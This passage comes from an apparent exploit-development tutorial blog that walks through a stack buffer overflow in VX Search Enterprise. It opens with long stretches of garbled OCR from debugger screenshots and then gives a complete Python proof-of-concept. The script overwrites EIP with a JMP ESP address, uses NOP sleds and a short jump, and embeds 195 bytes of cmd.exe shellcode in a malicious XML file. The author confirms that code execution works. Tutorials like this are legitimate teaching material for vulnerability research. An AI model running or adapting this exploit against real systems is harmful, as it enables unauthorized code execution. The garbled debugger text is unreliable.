Trace over Ctrl+F12 Set condition Ctrl+T Cose run trace Hardware breakpoints Inspet C al DLL export Arguments Select import libraries Debugging Symbols Options → ★ ★ ★ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ 1 e m t w h c P k b z r s ? → ★ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ e m t w h c P k b z r s ? → ★ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓	$\frac{11}{11}$	2287F 22880	90 90	Trace into	Ctrl+F11								
Set condition Ctrl+T Close run trace Hardware breakpoints Inspet Cal DtL export Arguments Select import libraries Debugging Symbols Options Select import libraries Debugging Symbols Options	$\frac{11}{11}$	22881 22882	90 90	Trace over	Ctrl+F12								
Cose run trace Hardware breakpoints Inspect Cal DL export Arguments Select import libraries Debugging Symbols Options Cose run trace Hardware breakpoints Debugging Symbols Options Cose run trace Hardware breakpoints Debugging Symbols Options Cose run trace Hardware breakpoints Debugging Symbols Options Cose run trace Debugging Symbols Options Cose run trace Cose run trace		22883 22884	90 90	Set condition	Ctrl+T								
Hardware breakpoints Inspect Cal Cut export Arguments Select import libraries Debugging Symbols Options		22885 22886	90 90	Close run trace									
<pre> The mean of the comparison of the compari</pre>		22887	90 90	Hardwara braakaaiata									
Impedia         Call DLE export         Arguments         Select import libraries         Debugging Symbols Options         Impedia         Impedia         Impedia         Impedia         Impedia         Impedia         Select import libraries         Debugging Symbols Options         Impedia         Impe	įį,	22889	90	naruware preakpoints									
Cull LL EXPL Arguments Select import libraries Debugging Symbols Options	i	2288H 2288B	CC	Inspect									
Ariguinitis         Select import libraries         Debugging Symbols Options         Image: Select import libraries	l	2288C 2288D	CC	Call DLL export									
Select import ligraries Debugging Symbols Options Debugging Symbols Opti		2288E 2288F	CC CC	Arguments									
128283       CC       1473         128283       CC       1473         128284       SO       CC		22890 22891	CC CC	Select import libraries									
CC CC CC CC CC CC CC CC CC CC	1	22892	ČČ	Debugging Symbols Op	tions								
2222200       CC       1113         222200       CC       1113         1222200       CC       1113         1222200       CC       1000         1222200       CC	1	22894	čč	ÎNTS									
1       1	i	22896		INTS									
1222994       CC       1113         122294       SQ       IC         122294       SQ       IC <td< th=""><th>1.</th><th>22897 22898</th><th>CC CC</th><th>INT3 INT3</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></td<>	1.	22897 22898	CC CC	INT3 INT3									
1222500 CC       Image of the second s		22899 2289A	CC CC	INT3 INT3									
122590 CC       Initial         122590 SC       Initial         1225		2289B 2289C		INT3 INT3									
1223000       CC       1113         1223000       CC       1114         1223000       CC       1114         1223000       SC       114         1223000       SC	1	2289D 2289E	ČČ	ÎNT3 INT3									
122807       25       11113         2000       10 <th>I</th> <th></th> <th>22</th> <th>TNTO</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	I		22	TNTO									
→ → → → → → → → → → → → → → → → → → →		2289F 22800		TNTO									
1122868     EE     10     UNP       1122868     93     NOP       1122868     93     NOP       1122861     93     NOP       1122862     93     NOP       1122867     94083     OR CL, BYTE PTR DS: LEAX)       1122875     94083     OR CL, BYTE PTR DS: LEAX)       1122875     94083     OR CL, BYTE PTR DS: LEAX)       1122875     94083     OR P       1122875     940     NOP       1122885     940     NOP       1122885     940     NOP       1122885     940     NOP	H	2289F 228A0 228A1				1		1					
1122865 90 NOP 1122801 90 NOP 1122802 90 NOP 1122877 90 NOP 1122878 90 NOP 1122887 90 NOP 1122887 90 NOP 1122887 90 NOP 1122888 00 NOP 112288 00 NOP 11288 00		22896 22866 22861 22861		++ × ►    ► +	\$ ↓ + +	len	ıtw	h o	: P k	bz	r	s ?	2
1122860 90 NOP 112286F 90 NOP 1122867 90 NOP 1122872 9009 ADD BVTE PTR DS:[EAX] 1122872 9009 ADD BVTE PTR DS:[EAX] 1122877 90 NOP 1122877 90 NOP 1122878 90 NOP 1122878 90 NOP 1122887 90 NOP 1122888 00 NOP 1122888 90 NOP 1122888 00 NOP 1122889 00 NOP 1122889 00 NOP 1122889 00 NOP 1122889 00 NOP 1122880 00 NOP 112880 00 NOP 11280 00 NOP 1		22896 22891 22891 22891 2286 2286		INTS INTS INTS INTS INTS INTS INTS INTS	<b>2: ↓: +) →:</b> 00122878	len	ıt w	h d	c P k	b z	r	s ?	
112282F       90       MOP         1122827       00900       AQD         1122827       00900       AQD         1122827       00900       AQD         1122827       90       NOP         1122828       90       NOP         1122838       90		2289F 228A0 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1		INTS INTS INTS INTS INTS INTS INTS INTS	<b>2 ↓ + +</b>	len	ıt w	h a	p k	bz	r	s ?	
122872       600 <t< th=""><th></th><th>2289F 228A0 228A1 228A1 2286 2286 2286 2286 2286 2286 2286</th><th></th><th>INTS INTS INTS INTS INTS INTS INTS INTS</th><th><b>≱ ↓ + →</b></th><th>len</th><th>ıt w</th><th>h d</th><th>c P k</th><th>b z</th><th>r</th><th>s ?</th><th></th></t<>		2289F 228A0 228A1 228A1 2286 2286 2286 2286 2286 2286 2286		INTS INTS INTS INTS INTS INTS INTS INTS	<b>≱ ↓ + →</b>	len	ıt w	h d	c P k	b z	r	s ?	
122875         90         NOP           122877         90         NOP           122875         90         NOP           122875         90         NOP           122877         90         NOP           122887         90         NOP           122887         90         NOP           122888         0C         INT3           122888         CC         INT3		2289F 228A0 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1 228A1		INT3 INT3 INT3 INT3 INT3 INT3 INT3 INT3	<b>3</b> ↓ + → → 0012287A F PTR DS-FE0Y1	len	ntw	h o	:Рk	b z	r	s ?	
1122617       90       NOP         1122877       90       NOP         1122878       90       NOP         1122879       90       NOP         1122887       90       NOP         1122887       90       NOP         1122888       90       NOP         1122887       90       NOP         1122888       90       NOP         1122887       90       NOP         1122887       90       NOP         1122888       90       NOP         1122888       90       NOP         1122888       90       NOP         1122889       90 <td< th=""><th></th><th>2289F 228A0 228A1</th><th></th><th>INT3 INT3 INT3 INT3 INT3 INT3 INT3 INT3</th><th>Ø012287A PTR DS:[EAX] PTR DS:[EAX],AL</th><th>len</th><th>ntw</th><th>h o</th><th>c P k</th><th>bz</th><th>r</th><th>s ?</th><th></th></td<>		2289F 228A0 228A1		INT3 INT3 INT3 INT3 INT3 INT3 INT3 INT3	Ø012287A PTR DS:[EAX] PTR DS:[EAX],AL	len	ntw	h o	c P k	bz	r	s ?	
11228/72       90       NOP         11228/74       90       NOP         11228/75		2289F 228F0 228F0 228F0 228F0 228F0 22860 22872 22872		INTS INTS INTS INTS INTS INTS INTS INTS	<pre>&gt; ↓ → → 0012287A E PTR DS:[EAX] PTR DS:[EAX],AL</pre>	len	ntw	h d	:Рk	b z	r	s ?	
11228771     99     NOP       11228772     99     NOP       11228772     99     NOP       11228772     99     NOP       11228774     90     NOP       11228774     90     NOP       11228774     90     NOP       11228874     90     NOP       11228875     90     NOP       11228875     90     NOP       11228875     90     NOP       11228887     90     NOP       11228885     90     NOP       11228886     90     NOP       11228887     90     NOP       11228886     90     NOP       11228887     90     NOP       11228987     90     NOP       11228987     90     NOP       11228987     90     NOP       11228987     90     NOP <td< th=""><th></th><th>2289F 22860 22860 22860 22860 22860 22860 22860 22860 22860 22860 22870 200700</th><th></th><th>INTS INTS INTS INTS INTS INTS INTS INTS</th><th>Ø012287A Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL</th><th>l e n</th><th>ntw</th><th>h o</th><th>ср k</th><th>b z</th><th>r</th><th>s ?</th><th></th></td<>		2289F 22860 22860 22860 22860 22860 22860 22860 22860 22860 22860 22870 200700		INTS INTS INTS INTS INTS INTS INTS INTS	Ø012287A Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	ntw	h o	ср k	b z	r	s ?	
112287C       90       NOP         112287F       90       NOP         112287F       90       NOP         112288F       90       NOP         1122882       90       NOP         1122882       90       NOP         1122882       90       NOP         1122882       90       NOP         1122883       90       NOP         1122884       90       NOP         1122885       90       NOP         1122885       90       NOP         1122884       90       NOP         1122885       90       NOP         1122884       90       NOP         1122885       90       NOP         1122886       CC       INT3         1122887       90       NOP         1122888       CC       INT3         1122895       CC		2289F 2288f0 228		INT3 INT3 INT3 INT3 INT3 INT3 INT3 INT3	Ø012287A Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	ntw	h o	ср k	b z	r	s ?	
112287E       96       NOP         1122887       90       NOP         1122881       90       NOP         1122882       90       NOP         1122883       90       NOP         1122884       90       NOP         1122885       90       NOP         1122887       90       NOP         1122887       90       NOP         1122887       90       NOP         1122888       90       NOP         1122887       90       NOP         1122887       90       NOP         1122887       90       NOP         1122887       90       NOP         1122888       90       NOP         1122889       90       NOP         1122880       CC       INT3         1122898       CC       INT3         1122899       CC       INT3         1122894       CC       INT3         1122895       CC       INT3         1122897       CC       INT3         1122899       CC       INT3         1122899       CC       INT3         1122899       CC				INT3 INT3 INT3 INT3 INT3 INT3 INT3 INT3	Ø012287A Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	len	ntw	h o	срk	b z	r	s ?	
1122880         90         NOP           1122882         90         NOP           1122883         90         NOP           1122884         90         NOP           1122885         90         NOP           1122885         90         NOP           1122886         90         NOP           1122887         90         NOP           1122888         90         NOP           1122889         90         NOP           1122889         90         NOP           1122889         90         NOP           1122880         CC         INT3           1122881         CC         INT3           1122882         CC         INT3           1122884         CC         INT3           1122890         CC         INT3           1122891         CC         INT3           1122892         CC         INT3           1122893         CC         INT3           1122894         CC         INT3           1122895         CC         INT3           1122896         CC         INT3           1122897         CC         INT3				anns INTS	Ø012287A Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	ıtw	h d	срk	b z	I	s ?	2
1122881     90     NOP       1122882     90     NOP       1122883     90     NOP       1122885     90     NOP       1122885     90     NOP       1122885     90     NOP       1122887     90     NOP       1122888     90     NOP       1122889     90     NOP       1122889     90     NOP       1122889     90     NOP       1122880     CC     INT3       1122882     CC     INT3       1122882     CC     INT3       1122882     CC     INT3       1122882     CC     INT3       1122884     CC     INT3       1122885     CC     INT3       1122884     CC     INT3       1122892     CC     INT3       1122892     CC     INT3       1122894     CC     INT3       1122895     CC     INT3       1122896     CC     INT3       1122897     CC     INT3       1122898     CC     INT3       1122899     CC     INT3       1122894     CC     INT3       1122895     CC     INT3       1122896 <th></th> <th></th> <th></th> <th>0 INT3 INT5 INT3 INT5</th> <th>Ø012287A O012287A E PTR DS:[EAX] PTR DS:[EAX],AL</th> <th>l e n</th> <th>n t w</th> <th>h d</th> <th>ср k</th> <th>b z</th> <th>I</th> <th>s ?</th> <th></th>				0 INT3 INT5 INT3 INT5	Ø012287A O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h d	ср k	b z	I	s ?	
1122883     90     NOP       1122884     90     NOP       1122885     90     NOP       1122887     CC     INT3       1122888     CC     INT3       1122880     CC     INT3       1122882     CC     INT3       1122885     CC     INT3       1122886     CC     INT3       1122887     CC     INT3       1122882     CC     INT3       1122882     CC     INT3       1122882     CC     INT3       1122892     CC     INT3       1122892     CC     INT3       1122894     CC     INT3       1122895     CC     INT3       1122897     CC     INT3       1122898     CC     INT3       112289				Ø INT3 INT5 INT3 INT5	<pre>&gt; ↓ → → 0012287A E PTR DS:[EAX] PTR DS:[EAX],AL</pre>	l e n	n t w	h d	ср k	b z	I	s ?	
1122885       90       NOP         1122887       90       NOP         1122887       90       NOP         1122888       90       NOP         1122887       90       NOP         1122888       90       NOP         1122888       CC       INT3         1122882       CC       INT3         1122882       CC       INT3         1122885       CC       INT3         1122886       CC       INT3         1122887       CC       INT3         1122886       CC       INT3         1122887       CC       INT3         1122889       CC       INT3         1122892       CC       INT3         1122893       CC       INT3         1122894       CC       INT3         1122895       CC       INT3         1122896       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898 <t< th=""><th></th><th></th><th></th><th>Ø INT3 INT5 INT3 INT5</th><th>Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL</th><th>l e n</th><th>n t w</th><th>h d</th><th>ср k</th><th>b z</th><th>r</th><th>s ?</th><th></th></t<>				Ø INT3 INT5 INT3 INT5	Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h d	ср k	b z	r	s ?	
3122887       90       NOP         3122889       90       NOP         3122889       90       NOP         3122884       CC       INT3         3122885       CC       INT3         3122886       CC       INT3         3122887       CC       INT3         3122880       CC       INT3         3122887       CC       INT3         3122887       CC       INT3         3122887       CC       INT3         3122887       CC       INT3         3122890       CC       INT3         3122891       CC       INT3         3122892       CC       INT3         3122893       CC       INT3         3122895       CC       INT3         3122895       CC       INT3         3122895       CC       INT3         3122896       CC       INT3         3122897       CC       INT3         3122898       CC       INT3         3122897       CC       INT3         3122898       CC       INT3         3122897       CC       INT3         3122898		2289F0 2289F0 22860 22860 22860 22860 22860 22860 22860 22860 228877 228870 228880 228800 228800 2288800 2288800 228800 228800 228800000000		INT3           INP           NOP	Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	ntw	h d	срk	b z	I	s ?	
1122889       90       NOP         1122888       CC       INT3         1122888       CC       INT3         1122880       CC       INT3         1122880       CC       INT3         1122882       CC       INT3         1122882       CC       INT3         1122884       CC       INT3         1122895       CC       INT3         1122896       CC       INT3         1122897       CC       INT3         1122895       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122898       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122894		2289F0 2289F0 22860 22860 22860 22860 22860 22860 228860 228860 228860 22887 22888 228887 22888 228887 22887 22887 22887 22887 22887 22887 22887 22887 22887 22887 22887		INT3           INOP           NOP	Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h d	ср k	b z	I	s ?	
11/22004     CC     11/13       11/22088     CC     11/13       11/22088     CC     11/13       11/22088     CC     11/13       11/22089     CC     11/13       11/22090     CC     11/13       11/22090     CC     11/13       11/22090     CC     11/13       11/22090     CC     11/13       11/22091     CC     11/13       11/22092     CC     11/13       11/22093     CC     11/13       11/22094     CC     11/13       11/22095     CC     11/13       11/22096     CC     11/13       11/22097     CC     11/13       11/22096     CC     11/13       11/22097     CC     11/13       11/22096     CC     11/13       11/22097     CC     11/13       11/22098     CC     11/13       11/22090     CC     11/13       11/22090     CC     11/13       11/22090     CC     11/13       11/22091     CC     11/13       11/22092     CC     11/13       11/22094     CC     11/13       11/22094     CC     11/13       11/22094				INT3           INDP           NOP	Ø012287A O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h d	срk	b z	I	s ?	
112288C     CC     INTS       112288E     CC     INTS       112288F     CC     INTS       1122890     CC     INTS       1122891     CC     INTS       1122892     CC     INTS       1122893     CC     INTS       1122894     CC     INTS       1122895     CC     INTS       1122896     CC     INTS       1122897     CC     INTS       1122898     CC     INTS       11228997     CC     INTS       11228980     CC     INTS       11228997     CC     INTS       11228980     CC     INTS       11228981     CC     INTS       11228982     CC     INTS       11228984     CC     INTS       11228985     CC     INTS       11228986     CC     INTS       11228987     CC     INTS       11228982     CC     INTS       1122894     CC     INTS       1122895     CC     INTS       1122895     CC     INTS       1122894     CC     INTS       1122894     CC     INTS       11228941     CC     INTS				INT3           INDP           NOP	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h d	ср k	b z	I	s ?	
M12288E       CC       INT3         M12288F       CC       INT3         M122890       CC       INT3         M122891       CC       INT3         M122892       CC       INT3         M122893       CC       INT3         M122894       CC       INT3         M122895       CC       INT3         M122896       CC       INT3         M122897       CC       INT3         M122896       CC       INT3         M122897       CC       INT3         M122898       CC       INT3         M122899       CC       INT3         M122899       CC       INT3         M122899       CC       INT3         M122899       CC       INT3         M122890       CC       INT3         M122890       CC       INT3         M122895       CC       INT3         M122896       CC       INT3         M122897       CC       INT3         M122898       CC       INT3         M122898       CC       INT3         M122898       CC       INT3         M1228841				INT3           INT4           INT5           INT5           INT5           INT3	<pre>&gt; ↓ → → 0012287A E PTR DS:[EAX] PTR DS:[EAX],AL</pre>	l e n	n t w	h d	ср k	b z	I	s ?	
1122890       CC       INT3         1122891       CC       INT3         1122893       CC       INT3         1122894       CC       INT3         1122895       CC       INT3         1122894       CC       INT3         1122895       CC       INT3         1122896       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122897       CC       INT3         1122898       CC       INT3         1122899       CC       INT3         1122898       CC       INT3         1122899       CC       INT3         1122890       CC       INT3         1122892       CC       INT3         1122892       CC       INT3         1122892       CC       INT3         1122895       CC       INT3         1122896       CC       INT3         1122897       CC       INT3         1122880       CC       INT3         1122881       CC       INT3         1122882       INT3         1122840       CC				INT3	Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h (	ср k	b z	I	s ?	
1122892     CC     INT3       1122893     CC     INT3       1122894     CC     INT3       1122895     CC     INT3       1122897     CC     INT3       1122898     CC     INT3       1122897     CC     INT3       1122898     CC     INT3       1122897     CC     INT3       1122898     CC     INT3       1122897     CC     INT3       1122897     CC     INT3       1122897     CC     INT3       1122880     CC     INT3       1122840     CC     INT3       1122841     CC     INT3				INT3	Ø012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	
1122895     CC     11113       1122895     CC     1NT3       1122896     CC     1NT3       1122897     CC     1NT3       1122898     CC     1NT3       1122899     CC     1NT3       1122890     CC     1NT3       1122890     CC     1NT3       1122890     CC     1NT3       1122895     CC     1NT3       1122896     CC     1NT3       1122897     CC     1NT3       1122898     CC     1NT3				INT3           NOP           NOP <th>O012287A E PTR DS:[EAX] PTR DS:[EAX],AL</th> <th>l e n</th> <th>n t w</th> <th>h</th> <th>ср k</th> <th>b z</th> <th>I</th> <th>s ?</th> <th></th>	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	
1122895     CC     INTS       1122896     CC     INTS       1122897     CC     INTS       1122897     CC     INTS       1122897     CC     INTS       1122898     CC     INTS       1122897     CC     INTS       1122897     CC     INTS       1122898     CC     INTS       1122898     CC     INTS       1122898     CC     INTS       1122895     CC     INTS       1122896     CC     INTS       1122897     CC     INTS       1122898     CC     INTS       1122897     CC     INTS				INT3           NOP           NOP </th <th>O012287A E PTR DS:[EAX] PTR DS:[EAX],AL</th> <th>l e n</th> <th>n t w</th> <th>h (</th> <th>e P k</th> <th>b z</th> <th>I</th> <th>s ?</th> <th></th>	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h (	e P k	b z	I	s ?	
3122897     CC     INT3       3122898     CC     INT3       3122894     CC     INT3       312289A     CC     INT3       312289B     CC     INT3       312289C     CC     INT3       312289F     CC     INT3       312289F     CC     INT3       312289F     CC     INT3       312288F     CC     INT3       312288F     CC     INT3       312288F     CC     INT3				INT3	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	
1122899     CC     ÎNTă       112289A     CC     INTă       112289B     CC     INTă       112289C     CC     INTă       112289F     CC     INTă       112289F     CC     INTă       112288F     CC     INTă       112288F     CC     INTă       112288F     CC     INTă       112288F     CC     INTă				INT3	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h (	ср k	b z	I	s ?	
112289B CC INT3 112289C CC INT3 112289C CC INT3 112289C CC INT3 112289F CC INT3 112288F CC INT3 1122880 CC INT3 1122880 CC INT3				INT3	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	
112289C CC INTS 112289E CC INTS 112289F CC INTS 112289F CC INTS 1122840 CC INTS 1122841 CC INTS				INT3         NOP	OUI2287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	
12289E_CCINTS 112289F_CCINTS 11228A0_CCINTS 11228A1_CCINTS				INT3           NOP           NOP </th <th>OUI2287A E PTR DS:[EAX] PTR DS:[EAX],AL</th> <th>l e n</th> <th>n t w</th> <th>h</th> <th>ср k</th> <th>b z</th> <th>I</th> <th>s ?</th> <th></th>	OUI2287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	
01228A0 CC INT3 01228A1 CC INT3				INT3           NOP           NOP <th>OUI2287A E PTR DS:[EAX] PTR DS:[EAX],AL</th> <th>l e n</th> <th>n t w</th> <th>h</th> <th>e P k</th> <th>b z</th> <th>I</th> <th>s ?</th> <th></th>	OUI2287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	e P k	b z	I	s ?	
				INT3           NOP           NOP </th <th>O012287A E PTR DS:[EAX] PTR DS:[EAX],AL</th> <th>l e n</th> <th>n t w</th> <th>h</th> <th>ср k</th> <th>b z</th> <th>I</th> <th>s ?</th> <th></th>	O012287A E PTR DS:[EAX] PTR DS:[EAX],AL	l e n	n t w	h	ср k	b z	I	s ?	

• Press F9 to run the rest of the instructions and we are now sliding down our NOP sled until... Bam! We hit the mock shellcode and successfully hopped over the bad portion of the buffer.  Remember to delete the hardware breakpoint so it doesn't keep pausing during future debug sessions by clicking on Debug → Hardware breakpoints then press Delete 1.

Hard	Hardware breakpoints 🛛 🔀													
#	Base	Size	Stop on											
1	00122868		Execute	Follow 1	Delete 1									
2				Follow 2	Delete 2									
3				Follow 3	Delete 3									
4				Follow 4	Delete 4									
					ОК									
	0700 07000	000	HOLL DOWNED		CT1, LOA									

Pretty cool to see it in action, eh? That's the wonder of dynamic analysis and debuggers, you can dissect piece-by-piece a program as it's running then bring it back to life when it dies, like some kind of mad scientist.



#### Step 5: Insert shellcode and confirm code execution

The shellcode we will be using is one that opens up a command prompt (cmd.exe) and terminates the program that opened it, we're getting it from shell-storm. Our plan now is to replace our mock shellcode with the real deal and see if it runs. So, let's plug it into our script and test it out:



vxsearch\_poc.py #4

```
import struct
BUF SIZE = 2000
                                          # Set a consistent total buffer size
junk = " x41" * 1536
                                         # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78)  # Use little-endian to format address 0x</pre>
nops = "\setminus x90"*24
                                         # 24 byte NOP sled to get to shellcode
jump = "\xEB\x10"
                                        # 16 byte short jump over interrupted se
nops2 = "x90"*16+"x90"*16
                                         # 16 byte NOPs to get to jump landing +
# Command prompt (cmd.exe) shellcode + process exit (195 bytes)
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
shellcode += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
shellcode += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
shellcode += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
shellcode += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
shellcode += \frac{x12}{x75} \times DA \times B \times 53 \times 3C \times 03 \times FF \times 72
shellcode += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
shellcode += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
shellcode += \frac{x65}{x74} \times \frac{50}{x75} \times \frac{x67}{x76}
shellcode += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
shellcode += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
shellcode += \x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
shellcode += "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
shellcode += "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
shellcode += \frac{xFF}xD2x68x63x6Dx64x01xFE}x4Cx24
shellcode += "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
shellcode += "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
shellcode += "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
shellcode += \frac{x78}{x69} \times 74 \times 54 \times FF \times 74 \times 24 \times 20 \times FF \times 54
shellcode += \frac{x24}{x20}x57
# Mix it all together and baby, you've got a stew going!
exploit = junk + eip + nops + jump + nops2 + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to us
buf = exploit + fill
                                  # Combine everything together for exploi
xml payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf</pre>
try:
   f = open("C:\\payload.xml", "wb") # Exploit output will be written to C di
                                         # Write entirety of buffer out to file
   f.write(xml payload)
                                          # Close file
   f.close()
    print "\nVX Search Enterprise JMP Stack Buffer Overflow Exploit"
    print "\nExploit written successfully!"
    print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to e
except Exception, e:
    print "\nError! Exploit could not be generated, error details follow:\n"
    print str(e) + "\n"
```

You can see that we added in the cmd.exe shellcode and we now have our final payload. Perform the usual dance of CtrI-F2 to restart and F9 to start the vulnerable program with Immunity attached, load in the generated XML payload file and presto! The program terminated and we have a brand new command prompt open. Hooray for working payloads!



#### **Reflections and lessons learned**

Let's look back at what we just did and see what lessons can be learned:

- You will run into problems during exploit development and that's OK
  - Rarely will you be presented with a completely ideal environment for your exploit to run. Code you write for exploiting software is by definition, *NOT SUPPOSED TO BE THERE*. It is a foreign invader and you cannot expect everything to be arranged perfectly for your payload.
  - Be ready to experience problems and learn to be comfortable with things not going as planned, then think of ways to compensate and emerge victorious.
- Every program has a unique personality
  - I didn't expect to find a random chunk of code that interrupted my shellcode, but that's sort of the fun thing about exploit development. You learn to see every piece of software like a quirky character that has its own flaws and personality, meaning each case is more or less unique.
- Assembly language is very helpful to know
  - Because we knew assembly language, we were able to pull the JMP instruction from our bag of tricks and use it to get around the section of code that was interrupting our payload.
  - Having an intimate knowledge of assembly and how instructions can be combined to get your exploit to run will give you a big advantage as an exploit developer.
- Exploit development largely consists of coming up with hypotheses and testing them
  - You can see that much of the process from Part 1 carried over, we had a hunch about what we might be able to do with our vulnerable program and then we tested it with a script. Based on the results, we asked more questions and tested them again with additions to the script. And so on until we had a final script and a final question, will this get me arbitrary code execution? And the final answer was yes!

• If you stick with this process of generating hypotheses and testing them, while also staying curious, you will usually come out ahead.



## Feedback and looking forward to Part 3

And that's the end of Part 2! I hope that this discussion of jump instructions to get around interrupts in shellcode proved helpful to you. At this point, you should be pretty comfortable with the debugging workflow and exploit development cycle for stack buffer overflows. We'll start to get into new methods of exploitation in Part 3 next week. I'll list some additional resources you can look at for discussions on even more techniques you can use to hop around the stack at the end of this post.

If you ever want to give me feedback, feel free to tweet at me (@shogun\_lab) and follow to keep up to date with Shogun Lab. Email can be sent to steven@shogunlab.com. RSS feed can be found here.

Hope to see you again for Part 3!

お疲れ様でした。

#### UPDATE: Part 3 is posted here.

Also, check out the Oresearch podcast. It's a great source of info to keep up to date on security news/tools and they gave a mention to this blog at the end of Episode #18. Thanks Alex and Matt!

#### Locating shellcode with jumps resources

#### Tutorials

- [Security Sift] Windows Exploit Development Part 4: Locating Shellcode With Jumps
- [Corelan] Exploit writing tutorial part 2 : Stack Based Overflows jumping to shellcode

Shogun Lab | 将軍ラボ steven@shogunlab.com I shogunlab
Shogunlab
shogun\_lab

Shogun Lab does application vulnerability research to help organizations identify flaws in their software before malicious hackers do.

The Shogun Lab logo is under a CC Attribution-NonCommercial-NoDerivatives 4.0 International License by Steven Patterson and is a derivative of "Samurai" by Simon Child, under a CC Attribution 3.0 U.S. License.